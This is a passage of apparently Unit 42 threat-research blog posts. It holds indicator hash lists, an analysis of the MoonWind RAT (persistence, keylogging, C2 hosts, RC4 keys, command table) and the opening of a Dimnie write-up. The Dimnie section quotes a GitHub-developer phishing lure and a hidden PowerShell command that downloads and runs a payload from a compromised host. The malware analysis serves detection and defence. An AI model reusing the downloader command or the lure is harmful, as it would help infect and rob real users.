71aa4f9bc78fd5d457e4a2f2914516fc0081d2d5d22da26e1c70f86d9bd6bab1

117f80111e0fb67f728091a1b96042ea6f1633ece8c8a519e45e38d408a6691e

4ae00d8000510629bbffc55652401ee4124109c55500075049f9440fe86391cb

df2f111c952ac720cb9e33afb24a1c9d0c9ecaeaea4c079f48fadc1a4ed333d5

2321fbde63ceb3d0086a9bbce55940cc6f05919acf49fdb731f75447863c795c

fa80f9b2163d7db3e026316967d241818c9e57c1376830899352115bc08d51ac

f296539deddb1b661868c69cde1783a2a2be15456ea3e31523652b5f10cc7d36

11cbd7a2ce58191e4dbd3efffba97c5c4c0edd437511e2ecbd42811dac1cfa3d

646b6591002c125108fa1e108aa9be84f4c83f3130836279745e372ee12867cf

4c1973278a30d1b4ce206eca63676624d234260758a0674d191d338a02914d23

e771f7512bd1efc86884fad12115f2fb5abc97eef78ca7dce1fbc9fb6f23360d

787f581acd27f8c8b449b3bc0ca214a1b3421197ff789333ef1b44a5de850c03

b119b2530baf4c80a5543b7c6bacb615357b2deff27d9b6a638f799617ec1641

00b9fe607cb0b6ba45cd7ffbc3d710264c6109fdbad992933f68bbfc15785a18

34a4a989a6d83eea916c455a9c304823786f11d39c7525583f75a0fd35906a1e

967fd8f1e08cde8dbc960f3d9fcac5a86b77003cae88d59be78ce0a7e6ad0d88

83d07d027709c724b146aaf44ff63d969b9c2824bb5f0b3c1be5af4f18b3cd97

42c12d9b35abbb79212bf9d35d7c391d18e2635e558eb6ab8472510df79da09f

f602d059bc6f7e1e5353b716fbbaf42fa5746e844532674198f59deec367490d

365be95490051c077b2bea93eb8e647cc4ab76cc51ebc6781abfca8b6d55b551

a52d3e65fe5bbf57bab79b1c5092b66d9650247249b72f667a927f266d09efe6

a8635544eab476c6128793b00bf1bd48ce9d41692585aab1690f2a44837efaac

4d54b94d081fa2d0c0626805f71bca86314201a6215fbd910c98024b372158c2

1a609b82e95501f56f0f47014c4224fdba457b27c58672292231c3adfcfdd7eb

babf156ede8b5c2e6c961b6ffcccc5eb7a3d283b398370754061613f439d40f9

e58267f9ff31408d0bb1b84948e1fd3c02231cfd0628797cc2a6045354e0b065

2dae0b95ba31c12c59d577b32c11ed3d1dff6db76f9c92064a2bc2764eb8611f

5e977ffbfc3d048c79640459ab33a932f1e17f77dae76d7a062c4cb0221b91f8

78536b8ba75ba8269950099bb8205a11e94db9c28558293971e981c3a9e57b24

f0cb1d8a58b389425f691522163a1cc3b2b6c4ca0004248c0f0daad7f4ffa12a

865bf72cd5f23350cba26bb185340ebc0def6b5bbd5d8c9c184e1d1e4d11c5b8

dff184a646f67fdf04fc7702e2a4ef60b4a165e56abb7e3a424f785ac8b02da9

3554b267dec35b5072ed5fce2510e70960e32195a0920811e83eb6207cc4bed0

baf0fe69b670a6b96489cfb0bd80b03d8b454d5a3d2407d3c1570f1db9b58927

e926cf1e40c46f9578c76bb0df3a3ba7667853b63cc58b0f064f529b4365fbe0

bacbcb52516bb1d54b82a8d128f460843827a9dff65024d4bedb88936fc40c97

618fc941c00005b02f62d9ebdb31363e4d51b2f927f3d0b36c238a333f080ad0

64c5bfc0a1c76aaf9ed8b8f2a45d229afa9353a63fa7a2bba6d4a8c47980e70b

27b3a779d2e3d44cf0c4cc8e9f2862226fe329db7127b2272ba42011332832f3

2a71fcd81cf6c3bc6a43260b23cd7ef1c0694b0d85cdcdfdc8b25b139922a352

244621fad10485386493efec3818196fc50f1a66e3048a62de456d64a2331720

7b1a513520f18612c4cd2ac9e5e5a1d660274a77b8f190bd277339247b6a51ee

7d74e531dafdb6e645ac429c17aba3903e9c0f4fe7e4f93688d37eb638c52f48

722cfac01badf1106887fbc985060a2fb31eabf9943520bd24abf2fa208217b8

5a83a289c0c4c222bb190152bb8bc5f429e6799ac233ba99b7a860b8519872bc

50cb597f33f8252bd94c54927bd2e0259a732ad64fb8b413a205e1f290870445

c721b5d3abc978ea8608f23b9a9a6ba81afe87d6d6660bc6006ee1ba83491d06

16e43f8d2e439b5ce8e48b75bb25e90011f1ccbb41278fe15f7982a304a832de

5579cfef934b47519388719f0bf532bd4326d0221b6ab47c69ca098f3d2d2de3

7e476fb1089b95bfb08ec3ab3931ae31da9fd1f742928bab339d297b70b9fcc2

6279030f7e5eaeacd28232de35382c38614fefc90ef753f2492300c1150e54f0

e4f015b6cc0539fff746dc39229d25385d95e827204695b8b0003457cd206dab

ea6dffd2bb7c13eebdb605060b26ff2319f6f4ab81e9c41998351c039c177d5a

4546413de0c2df37c83a88808cebe265dc74dd87c550c378f1d23d8e5430a7db

a02bdf36048e6440c50782dbbbc8e0529e4ee480bf2be43dcad2d22f3b47bc08

5e82f68b6560c959975b9e8c20a82de71fedc8dc7277d2a16c9a13829c91dd22

30912cc80cf7defaec360cdd08952ceed493e88d87ad705ec80831581c5c867d

44d0c56f4037d21b85fe00e944456cf2a67e71ca3133c3afd0ea1f35d29e7b33

bdb17c29b31fbe557200569f584c589104b52f188799dc5b45a33f3a7a16a34d

c1ab9ec3f1d6050a77cc8d976dac441c13ba2fd3c0229076c20a2406258198bf

397087699aa240e8a74a687902ad3c8b2a0f1535179fab046673cc1032c72796

2088d5f31b8f8a75464def9b02c159a2a1aa3056fc3c82056272c9b39cea0639

bb3676b9ea838344e955cf58b01d2df4384f6ba8b62fa00259ab8c449e77f358

a2e979e03c32e5de9ba34407b37143b6a887ab6f9d8cdcb07a6276f41202dc5d

c24e30b7a32f096bad4385012a1c1b3a61198156b19081f7658a4f1c25d055c4

7be574a767acb4fe9a1af425fe1fddcda17a97f4653837384352cebec21801e1

54b07adba4b1fd4467a2cae45480ae8f764866e8ae6bf66150f2cd860b36aaf2

4550e8b216c2ef7d78be2ef572fefbdde76c0c6640c6c1cb6757a3867a9710d7

455be9cff65b2178189444572b0a9b31d5cc5b709bcefc7381eaf4b9141ca46f

81410d2a560984fe41d371bd745f6de9f9f120dc929f439947f3cfc330774a95

5329652e9eb2aa681abc8e69955b24165a23a807a69ae76e67c07d1fdfe8fc38

42e8118271ce2df0a3313e271d8a86f425bdcd15e1b5bd6c6239701cfad6da3f

8ee8572d912eca16470679fcd4d98e6e22e4446c2dd74d5d96f1056ce3a93e22

c5fc26f84955a041de20f3ff2ee04a59f9d8a2ab5d6c4702b8da0cf03b4147ef

e75d209025a34fda854cb9289c1f329671fe010ba6616e24c0338eb9f17266c9

2c0ba35cdc0ef302fc52aef368565b61edbf9c7a962661cafa4b2cfc26eda371

1c1d858934f278abac6bce5f609db8649d58ceaada00f661b6e18b0dd13946b0

31a4d2f12b5e8ab7ca06a61dc117cc5742ea222e3101e495b60f4c289f14b547

7f11e0bbc892a97b7c42416c43fe178ebb240939d9dee70c3c598305ce8a2d4f

c9ffb81a97a9458f1fc96f35cd187b1d7311479e77d031586abdc3d426da0859

a136bc03de8cf0b99b8aa500460a8be6aa1c98ce78515c217ad03d6faa9e08f1

874febea579812e0fbbc3dc1e591264108e61864c48f9b8e15fc9644edee0621

f7bd43323917ce3ce71da472593e0899dd54ce957e2621083a29680a04a263e8

5ba356e5e96ce8b9cbccdcb11d817bb53924afdb7e3af72155898fc7bfae0920

MICROPSIA

453b9f7aed67f41ec192db3011459e2dd865bb729265c544ee1b8814c6e7dc53

c9e55094b84a06b3a40b7df1cd76fc287fdc02a2cdd30af359743bbc23475917

a627d2bff74ce07a619cc8fd36294f66eab94b92d41e50b06e63d736ffafd254

f70681c7e8ab419fd0938802a823337abad936cccc0ace9ee232f2b874e561f1

e3963ee9bf892d3f3eea0620585e2e773a30cf536c73a01dd51d6ce36f4daf5d

e2ac3cf79e7267d2e088c3a269aa84fc71fc6073019abb94d16a024d3ad16f3e

b08b96eb46b65af20688c3910a8edcc7dd072a5149ca4b541183acfa81220b97

cdada29d7cd7d88a49a4475a50ee0401d11e2d9a61c4396a60ab0a2fb3da0d01

ca438526ad398f240d3ba551cdd59ada402a6270755c4b0750bc0b120e058320

2fc2263416b3b55e1dfe67ab6435eed00a74a82e3fbdfdbb6a3a102a7f404641

15c9dc07d2858f496ea7f4110a13e58e6828fe836704582dbbdc630df18d3de5

579cf5f112c5b542f7240e200fec6312983255b497c6f0a65f2fe2d3b78391c5

15e3cd8a698d30ac7851b3232f8b7cbc7fbbb821c9eece34ef327b67dc281883

1e5739d640e24504a5e03d0847ad720622c64d0effcd2e1b80528a055049ca82

8f1ff9588630c3bc017468ff0eadb69c65cf77aae47a148e132eb4b48ae5c988

eb5e920dd1e2b2df4cede82d0efbda1556fa35ac1c4589533fca58832fd07a62

2fac7aab5c3b922b883941fa67fdd7c197e6aaef429e723dccb3fc2150083c8d

368845729255ab7fcfb5c0b6c153929d5ccb8d1f9a40cc02ca7c026b4b6813ec

41b3e90442c97e40abdf29d8b7ecedea1026a1fb4dbd6d6cc410d3f3463cb205

b284c718d5b6c30eea2a0df34d9d75d3a22baa776b8d6f75b579da5549529f43

74a94b549fd52e8c23c1fca23a80262a50ae8e08ae56adf9e94c54acf2b313bf

39aa9cc3747a7fc9c80a04ef47107950c1946386525d79fe97b0bfb593e4bdc2

6c3bcef39b3892b5c3ed5602624ca5ee244cca7bf86aebe293bbd11eaf57834f

c4e79e151986dc5e16ce763321de90d8c214909df7210ec05e590c4375423a76

5bab8a360d1d08e37e4e6c052f7fce13a291ad9b99f950770a647222bfc4d6b4

accf87a349b0cfe6403e827089d7a97a8a9bf94dc4535d9ce2e54ecf9bc699fa

4f1be1f1c28dfc337a37cf22611aa288565c294910083524be4a317306b5490c

6e461a8430f251db38e8911dbacd1e72bce47a89c28956115b702d13ae2b8e3b

7dd7cc9e90b074ecc3d8f5540864e105fc0cc034a18a0681bd0ab14252bd0387

023cee622d8ddd7afd7603c1ba13447931508140cfe0dfd85bf4adc5b0d2cf8e

63d9a5ef92a18dc7238bcc59330b41149cec4ef7602b18c0b99abdae83c0114c

adbb67b004131990598009162a195b04107231a79de25945de94d2978f96dcd5

39e4e3637e651d2d8251c0f891dc4b0f0494c9bada2da930761d3fe6cc6ebaae

6aeebb3cdb2ca9b325e042e76d195a5ac958b119baa559532c22d344f1491a30

fb95a719c4b26bb577cea5837cac6ba9fdfcfd240bc2fc7b1d0759bf392d5191

dd185667015d23438a994adc9e9b30572a1e7479c05f563e0b6c71b8c6023685

2cbafd6a0461e7ae1929897a8039ce5f198b76281465c49b4547abf9a139dd89

b6f8b5ba026af863e878eded79f40e5efa1dd7ce725cd0479e5f062dbf4fdd4f

cfbe077d7a4807203c889292668695e114ed9524a11a00b0d670a2f4da74a27c

d8d87ac1e004de113a5a394b757f612bcde22eaaab574e53d4b1909193b77b7f

6eea4d800b3af9363abcea6f5051039c2fe7bec3e690500077f022204588db6f

2b644917074452c385e4a960d9ef504ce22733047dc282ef31ba7c012041e58c

499569d014d6b05e2187b8aa5966e4b56133cd67ff7a110c259cda5299cdd4b9

0edc4424c8eeb9708b6b8bc74806b6c17c9cfbb49e2688f711092381823fc733

a9ad6b278cabc7c9ac063c37b0656cd924639a227977ff250339479d5aa0863a

e477b5e00699a9ccb3868de543c29087042fd44c631f8fcda5faaf7922382146

114ef36f968912ef885d06e3d092dad739f9b6afe2f246e52fb3ba5e6bf8ee00

85d2d2293364c90d51fba7696a44908e0fae50dae1337e59441692e91c25c9d1

7efaff81e5be73608bccad93185f6b559597d2819bb33c95436d9246ef602f49

2e225c32dc320ab2441274fc7acf6fe52bd9621314c27e806fa8c4bec409b5e3

8f3e3b93eddb3f1fecc75d46e9ea5eb5d2ba3283c1e040ca12cb7530b7eb2455

75329e7b79284f63c1383244b20fb0d9c4bb1e9c4feba04307f1223db30c9203

04f6422325cf3fbe35879cb6532745d3a3b555144ef7b4e88ed96bf3fe4e70ac

fb64d608573ba1b1fd4254e7a1c7b3ffa1dfdc678300cc5d16eb4a88cf7592e3

a2cad08db8e151a90857df70d9e9c5e605aac6fa0e6e5d5ad150c96027743612

b5846554ee1ef9de0a8d83527f609abf5b328d104056b7a763ed89e75152ddbf

cf9287ded9b5a6543afc66ca60c4d20e6f7e4c318e8f303567d781eb98e4168c

def8065164959595de2ff6b35141985e7fd7a6c836db0b7a3f389b022c7f3650

3a4498a6e4213a680dd2e57516637f7480c0bd7a342ec24788fdb9694b0d1150

6c21e4331ec2d02e427025efeb6fbaf8c779513027720d24365283d5166add77

e05a329bbfe8cc0f7f3e2296fe0bdf86b6d4df70a8242409feb6c846db0b221c

559e6970861563f815e097a7a152970508323666c511afbc8165c4869256f692

54e5f4ecd18c6a18a6f25be6b7a392cbbd5bc107b868d8a078bf3e3fa701e453

e0b2671b1ba7ac123b6ec3e152711691e8690839b8e04fbb748d2fa8a4f5e982

1adbad10e5193b7533bccbae9bfa660f29162730fd4bd89c332bf8ae5b96ae78

e8ab81ee03aca399d8e4e3f6ca9d6e98c7c75e68f22e12d6213c15d8b9cc3ace

425d427828205811258e22cd04eb9acb4e497590eecefed77cdb9252b3e45fcb

876919233b24808b457fe83c815a4e6b30e415771bb6fe2e68a5cdae8e9a6c6c

6b676728f3206db8aa7ae57d8ee0747f2919a64ab8157b28bd1add0c15d2bb59

76573e0c213dbdba3283887eee7418f2b0c0ce6506145567547319bec8f0d6a6

d1bbde1ddd5bb1b421f230ba2213013b098f2abe3ac526be142371e2728ba40f

9a32cc01c4e6120cec03aba783087df35724d5b1feb3f75fa0b78963e8cc7735

699f4f0513de49db7dafa3760daa3c27ca9cd12e216ff3e042966212870bb906

1a4d7b935cb365f75a3f33c6490023aad054facf55a1411cd7b9d723eb99cf53

14b34347a75bc46ee69e1782cb658f7f404487a8fc40b973649d53d008bc0e75

8cf8d06d2935153d3c8d570ecd5990432bb4933ca89845bc2cd763b40ba7edb4

a5daa9cf58a2f6bf3f39ae022b0c87458b3ade2d4a006e5489f2417ff639e011

582cd41417aeb2f3f86d2c9fb7f8add4e5edacfed7cae0aecc8cb088a823d240

0d94f4aaebcdcfaf5b377af33da42e69b453297cf6b90387db95868a48c172bc

2f40c95693d1c0b0aa8195a7b943b935634745a1aae3ea91752ca4a535e69007

7f02e8bece61a3fa6400e9dcbb0972a136b1818bf1629afe4456819beb04b4cf

77dc371fcdcaae8f38e942e9084855d62f2daf81460c33f2ea64c77a470f8c8c

06a69598b2251200cbdf51c53be45ad90240fd69502063aa4afa5b1086fc34b3

e73381e591dd8538641236530bda5bc0daa014e3486b11a4da820657b48db9f9

027b0d9ee5258bb18c824be1b6aff33aeb3060ca3e577f2f8fff06ed4854883d

7d4e98f9136c4c7952e3acbb328ad06e522718ad4d05bcd04eeb225335e75631

b033de3c20701482bd375ea6e45ecae38295de72336a5f96f4ab994e6cef212a

b22b98b8d50aab1b0bea0e458e0736940215365752797de892745bafda5d9ce9

75a708bf42ac01d857ecb3bff18c633e334329d4b89ae4201a989f564a2410b6

b679878e940eaee79436a895aa4f43e32416c3ad2fbfeb812fc39022c84b82d9

3fce85b9c279d94dd7018a656027a496b4b5df719933630d7375c42ac088dd87

d63da6f863609c87cf283cd6da7c325f9622bff986b05c47e106855a514da4b6

0e7507e955dfe8027ed5740400dda772c403510f75d066baf0077ca1ab478048

Appendix C – Associated Android Malware Samples

d909669b000c479b8bdd9f86fa62879a7c8b4dca8cde4f4a404862a4604c52e2

b6abeffe986eb38e411a4fe956280e2028d8bef699d9dd3244bde721a99b1dee

c1564c56c46146db36ec97afd994c45f3621f39c82cc692adba5b9f6d9a62897

c20438ba8c9e008c1e2eb4343f177757fc260437aeac52df61b156671b07ac14

5f3b4eddcc72598721b9ca395d1e5881acbd4fc562e09b688b2d42f65d3a4a93

544a1c303ef021f0d54e62a6147c7ae9cd0c84265e302f6da5ed08b616e45b78

522ae87e792fd0b2021af0edcdad283505d6258316783c489f37234231b9d6bf

22078e0d00d6a0f0441b3777e6a418170e3a9e4cce8141f0da8af044fdc1e266

58e70e498397acae9b5e84a153e27578ee25e0ee0aca16bcf8a1746423f210f6

e23d689fff3907cbc6f495d1ebaa9c4cdf6f93f9fd26b790f60680dedf489618

02e1692dbc95bffe12083786208a966bf6b184a428378aabebbd3fee501021c5

758dc6aff09885abf9a6503e4a6473bca83c878f6131acf41290a3c8a5df7cdb

f67356c2bcd99009f1d68806a1214b4108771926e423908d8997cd881277e76e

d066c1c5eccfcf64e8398a49ac7efacc9d70a8c8544fb71ba22e0e2f77bff543

16b4d65abf95cfb3cedd39b217ff0e4ee2229ae32aeda5170f34c5a3b9c5a0f3

43f2e20933638594c02c83e85bc058b46c308b4f851477e2c0a2a92b4fb1168b

2a28c199eeb622fedc9b0b16f65f9a2da113dddd264966a76654546ce70804a4

53ca656dd54c14b14ddc758e2160443e1d5d761ffecb37e15216da67fc94c468

B2036d2b31c75684527a8850182363fefbe436dd8f5ccb5e792df2a8535981bf

Appendix D – Observed PDB Strings

C:\Users\USA\Documents\Visual Studio 2008\Projects\New folder (2)\kasper\Release\kasper.pdb

C:\Users\Yousef\Desktop\MergeFiles\Loader v0\Loader\obj\Release\Loader.pdb

c:\Users\USA\Documents\Visual Studio 2008\Projects\New folder (2)\s7 - Copy - Copy 19-2-17\Release\s7.pdb

c:\Users\USA\Documents\Visual Studio 2008\Projects\New folder (2)\s7\Release\s7.pdb

C:\Users\Progress\Desktop\Loader v0\Loader\obj\Release\Loader.pdb

D:\Merge\Debug\testproj.pdb

c:\Users\USA\Documents\Visual Studio 2008\Projects\New folder (2)\kasper - Copy - 21-2-17\Release\kasper.pdb

C:\Users\Yousef\Desktop\MergeFiles\merge photos\Loader v0\Loader\obj\Release\Loader.pdb

C:\Users\Yousef\Desktop\Loader v0\Loader\obj\Release\Loader.pdb

Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations

Posted on March 30, 2017November 1, 2018 by Jen Miller-Osborn

From September 2016 through late November 2016, a threat actor group used both the Trochilus RAT and a newly idenfied RAT we’ve named MoonWind to target organizations in Thailand, including a utility organization. We chose the name ‘MoonWind’ based on debugging strings we saw within the samples, as well as the compiler used to generate the samples. The attackers compromised two legitimate Thai websites to host the malware, which is a tactic this group has used in the past. Both the Trochilus and MoonWind RATs were hosted on the same compromised sites and used to target the same organization at the same time. The attackers used different command and control servers (C2s) for each malware family, a tactic we believe was meant to thwart attempts to tie the attacks together using infrastructure alone. The compromised websites are the site for a group of information technology companies in Thailand, and all the tools were stored in the same directory.

We were also able to find a post-compromise tool along with the two RATs, which afforeded us insight into one of the tools the attackers used once they gained a foothold inside an organization. In addition to Trochilus and MoonWind we found Mimikatz, a popular credential harvesting tool.

Further research led us to additional MoonWind samples using the same C2 (dns[.] webswindows [.]com) but hosted on a different compromised but legitimate website. The attacks in that case took place in late September to early October 2016 and the attackers stored the MoonWind samples as RAR files, while in the November attacks the RATs were stored as executables. We were not able to find additional tools, but the attackers again compromised a legitimate Thai website to host their malware, in this case the student portal for a Thai University.

MoonWind Analysis

The MoonWind sample used for this analysis was compiled with a Chinese compiler known as BlackMoon, the same compiler used for the BlackMoon banking Trojan. While a number of attributes match the BlackMoon banking Trojan, the malware is not the same. Both malware families were simply compiled using the same compiler, and it was the BlackMoon artifacts that resulted in the naming of the BlackMoon banking Trojan. But because this new sample is different from the BlackMoon banking Trojan, we have named it MoonWind, by combining the BlackMoon compiler artifacts with the embedded string below:

E:\StarWind\FW__Project_RTPD-PIBICs\Table.ini

When MoonWind first runs, it will copy itself to one of the following locations with a filename of ‘svcohos.exe’:

C:\Documents and Settings\All Users\Ufyaginptxb\
C:\Users\All Users\
C:\PorgramData\
C:\Program Files\Common Files\

It then executes a new instance of itself in a new process. Also, it will remove the original file via the following command that is executed in a batch script named 'date.bat’.

cmd /c timeout /t 6 & del "C:\ProgramData\Ufyaginptxb\svcohost.exe" & del date.bat

1	cmd /c timeout /t 6 & del "C:\ProgramData\Ufyaginptxb\svcohost.exe" & del date.bat

During this routine, a randomly generated victim identifier will be created and written to a file named 'micr.ini'. This file is located in the same path as the malware. The following contents represent an example of a victim ID contained in this file:

[mic]
Mic=2199LLLLLL

1 2	[mic] Mic=2199LLLLLL

During the install routine, the malware will also setup a timer that will execute a file named 'sevrsvos.exe'. This sample (815df680be80b26b5dff0bcaf73f7495b9cae5e3ad3acb7348be188af3e75201) acts as a runtime persistence mechanism. It installs itself as a service with the following properties:

Service Name: Windows Ejlptxtxbfjn Rvzd
Display Name: Windows Ejlptxtxbfjn Rvzd
Description: Windows Ejlptxtxbfjn Rvzd Hlptxbfjnr
Startup Type: Automatic

This service serves the single purpose of checking every 60 seconds if the 'svcohos.exe' process is running. If not, the service will spawn a new instance of it. In doing so, this secondary malware sample acts as both a runtime persistence mechanism, as well as a persistence mechanism across reboots.

After installation, a keylogging routine begins. The malware writes keystrokes and window information to a filename in the present working directory with the following filename:

jop[year][month][day][hour][minute][seconds].zip

Additionally, it writes a 'win.ini' file that contains this file path above.

The malware proceeds to collect the following victim information:

Hostname
Username
Windows version
IP address
Current time
RAM amount
Number of total drives
Number of removable drives
Unique victim identifier

After this information is aggregated, MoonWind enters its command and control loop, and begins reaching out to the servers and ports specified in its configuration embedded in the svcohos.exe file. The following remote hosts were specified in this particular sample:

dns.webswindows[.]com|80
dns.webswindows[.]com|443
dns.webswindows[.]com|53
dns.webswindows[.]com|8080

While the ports associated with this sample’s configuration pertain normally to HTTP, HTTPS, or DNS, network communication takes place via raw sockets. The malware first receives data, which has the following format as shown in Figure 1:

Figure 1 C2 to MoonWind communication

Digging into the packet further, we can break out individual pieces, as seen in Figure 2:

Figure 2 MoonWind network communication packet format

The encrypted data portion is encrypted via RC4 with the following static key:

HHSADh!@#$YUAGEWYGhjfsjd5465fsaQWAFGDA/jfdafdjhhasgfh==

In the above example, the encrypted data decrypts to ‘\x20\x20\x20\x20\x20\x20’, or six spaces. This particular command requests that the malware send the previously collected victim information.

The data returned by MoonWind has the same format, however, uses the following static key for encryption instead:

SSHqWSSAFdhjklfahj!@##4*&&!!HQ12785452!@!!$$$32#@$$11!!

An example of such data returned by the malware can be seen below in figure 3.

Figure 3 MoonWind to C2 communication

When decrypted, we see the data shown in Figure 4. Note that the first six bytes contains the return command (‘WYR002’), followed by the payload. The payload contains information previously discussed, delimited by ‘*/*’. Certain variables, such as ‘cdg’ and ‘ip’ are hardcoded. We also see what is most likely a malware versioning string at the end (V2.1). This string is also hardcoded to the sample.

Figure 4 Decrypted data sent by MoonWind

In total, MoonWind has 73 possibly commands that it can accept. We have not yet fully researched all of the commands, but the majority of them have been identified, as we can see in the Appendix.

Conclusion

Trochilus was first reported by Arbor Networks in their Seven Pointed Dagger report tying its use to other targeted Southeast Asia activity. The activity dates to at least 2013 and has ties to multiple reports by other researchers. It is highly likely MoonWind is yet another new tool being used by the group or groups responsible for that activity, indicating they are not only still active but continuing to evolve their playbook.

Palo Alto Networks customers are protected from this threat in the following ways:

The malware discussed in this report is blocked by WildFire and Traps
The domain names included in this report are blocked by Threat Prevention

AutoFocus subscribers can investigate the activities further with the following tags:

Appendix

MoonWind Commands

Command	Description	Response Command	Notes
\x20\x20\x20\x20\x20\x20	Returns collected victim information.	WYR002
WYR002	Null command.	None
WYR003	Spawns message box that allows victim to send a message.	WYR003
WYR005	Modifies services.	WYR005	Subcommands of either 'fuwu' (create service), 'exit' (stop service), 'stop' (pause service), 'reun' (continue service), or 'yrun' (start service)
WYR006	Returns a list of running processes.	WYR006
WYR007	Kills specified process.	None
qdcmdl	Spawns an interactive shell.	cmdok1
WYR009	Send command to interactive shell and receive results.	WYRCCC
WYR010	Terminates interactive shell.	None
WYR011	Get size of disks.	WYR011
WYR012	Returns space of given directory.	WYR012
WYR013	Return a directory listing of specified directory (C:\ default).	WYR013
WYR014	Execute specified command.	None
WYR015	Open specified command with ShellExecuteA.	None
WYR016	Open specified command with ShellExecuteA (Hidden).	None
WYR018	Perform directory listing with file attributes.	WYR018
xiazai	Read contents of file specified.	wrdown
cxqdcx	Restart MoonWind.	None	Uses %TEMP%/restart.bat to perform restart.
pingmu	Return screen resolution.	pmgksj
qdkzpm	Unknown.
jixujj	Unknown.
sbkzxx	Performs various mouse actions.	None	Subcommands of either 'sj' (double left-click), 'yk' (move to position and right-up), 'zk' (move to position and right-down), 'zx' (move to position and left-up), or 'yd' (move to position and left-down)
xhpmkz	Unknown.
axjpsj	Submits keyboard inputs.	None
ksjljp	Starts keylogging functionality.	None
tzjljp	Stops keylogging functionality.	None
hqjljp	Return keylogging data.	jpjlhq
scjpjl	Deletes the keylogging file.	None
xzcxzs	Uninstalls malware.	None	Uses ‘x.bat’ to accomplish uninstall. Written to present working directory (PWD) of malware.
httpxx	Unknown.
zaicif	Unknown.
xiaokl	Unknown.
juxuxi	Null command.	None
shangc	Unknown.
ecscwj	Unknown.
scwjwb	Unknown.
scmlcj	Creates specified directory.	mlwzcj
ycxiaz	Unknown.
zcycxz	Unknown.
ycxjml	Creates specified directory.	None
xjwjcj	Writes specified file with provided contents.	None	Command format is ‘[filename]\|[data]’.
shanwj	Deletes specified file.	None
shanml	Removes specified directory.	None
gengmj	Moves specified file.	None	Command format is ‘[src]\|^\|[dst]’.
ycgwjj	Sets hidden attribute on specified file.	None
copywj	Copies specified file.	copyok	Command format is ‘[src]^\|^[dst]’.
fzmlwj	Copies specified directory.	copyok	Command format is ‘[src]^\|^[dst]’.
sdxtcs	Unknown.
qypxxl	Get disk space of specified drive.	qdypxx
scdqwj	Unknown.
wyycwj	Unknown.
xzwcsc	Unknown.
xzwcyx	Executes specified command within batch script.	None	Uses ‘boot.bat’ to accomplish uninstall. Written to PWD of malware.
dwjjxc	Unknown.
dwjcwj	Unknown.
dqscds	Returns filesize of specified file.	qcwjcd
sjkqzd	Unknown.
sswjsj	Finds specified file and returns results including attributes.	wjsswb
dwjsjx	Unknown.
xzbwza	Unknown.
hqurl1	Returns C2 configuration of MoonWind.	qcsxdz
ghsxip	Writes data to win.dll and loads it.	sdczip
khljcg	Unknown.
dqyxml	Unknown.
gxycwj	Unknown.
gxwjbc	Unknown.
gxwjok	Unknown.
fxgxcs	Unknown.
gxwjsy	Open specified command with ShellExecuteA.	None
gxyxcx	Unknown.
bddkzf	Unknown.
scwjdx	Unknown.
xzwjdx

Indicators of Compromise

MoonWind

fd4856f2ec676f273ff71e1b0a1729cf6251c82780fc9e7d628deca690b02928
ce3da112e68e00621920911b1f9c72d7175894901173e703a44ac3700e4d427c
e31679b82be58ace96b1d9fdfc2b62b6e91d371ed93957e0764cd7c464b04b9d
f2589745671949422b19beec0856ca8b9608c02d5df4402f92c0dcc9d403010b

MoonWind Persistence Mechanism

815df680be80b26b5dff0bcaf73f7495b9cae5e3ad3acb7348be188af3e75201

Trochilus

59f8a31d66f053f1efcc8d7c7ebb209a8c12233423cc2dc3673373dde9b3a149

webswindows[.]com
192.225.226[.]195

Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017

Dimnie: Hiding in Plain Sight

Posted on March 28, 2017November 1, 2018 by Brandon Levene

A note to readers: The code samples included within this blog post may trigger alerts from your security software. Please note that this does not indicate an infection or an attack; rather, it is a notification that the code could be malicious if it were live.

Introduction

In mid-January of 2017 Unit 42 researchers became aware of reports of open-source developers receiving malicious emails. Multiple owners of Github repositories received phishing emails like the one below:

Hello,
 
My name is Adam Buchbinder, I saw your GitHub repo and i'm pretty amazed. 
The point is that i have an open position in my company and looks like you
are a good fit. 
 
Please take a look into attachment to find details about company and job.
Dont hesitate to contact me directly via email highlighted in the document below. 
 

Thanks and regards,
Adam.

Hello,

My name is Adam Buchbinder, I saw your GitHub repo and i'm pretty amazed.

The point is that i have an open position in my company and looks like you

are a good fit.

Please take a look into attachment to find details about company and job.

Dont hesitate to contact me directly via email highlighted in the document below.

Thanks and regards,

Adam.

Though there were multiple waves of messages following a similar tactic, each one carried the same malicious .doc file as an attachment (SHA256: 6b9af3290723f081e090cd29113c8755696dca88f06d072dd75bf5560ca9408e). This file contained embedded macro code that executed a commonly observed PowerShell command to download and execute a file.

Figure 1. The attackers used a common technique to try to avoid static detection by introducing characters which the Windows shell will ignore but static engines will typically see as part of the string.

A more readable version of the PowerShell code is shown below:

cmd.exe /c "powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('hxxp://nicklovegrove.co[.]uk/wp-content/margin2601_onechat_word.exe','%appdata%.exe');start-process '%appdata%.exe'"

1	cmd.exe /c "powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('hxxp://nicklovegrove.co[.]uk/wp-content/margin2601_onechat_word.exe','%appdata%.exe');start-process '%appdata%.exe'"

On initial inspection, everything appears to follow the same formula as many “traditional” malware campaigns: e-mail lure, malicious attachment, macro, PowerShell downloader, and finally a binary payload (SHA256: 3f73b09d9cdd100929061d8590ef0bc01b47999f47fa024f57c28dcd660e7c22). Examining the payload’s communications caused us to raise our eyebrows.

Dimnie, the commonly agreed upon name for the binary dropped by the PowerShell script above, has been around for several years. Palo Alto Networks has observed samples dating back to early 2014 with identical command and control mechanisms. The malware family serves as a downloader and has a modular design encompassing various information stealing functionalities. Each module is injected into the memory of core Windows processes, further complicating analysis. During its lifespan, it appears to have undergone few changes and its stealthy command and control methods combined with a previously Russian focused target base has allowed it to fly under the radar up until this most recent campaign.

Hidden Requests

Let us dive right in and have a look at a typical HTTP request from Dimnie to its command and control infrastructure.

Figure 2. Initial HTTP GET request from the compromised client and the server's reply. The HTTP payload is truncated in this image.

Does this malware use a (now-defunct) Google service to aid its initial phone home? Not quite. Examining the HTTP request, this appears to be an HTTP Proxy request, as described by RFC2616:

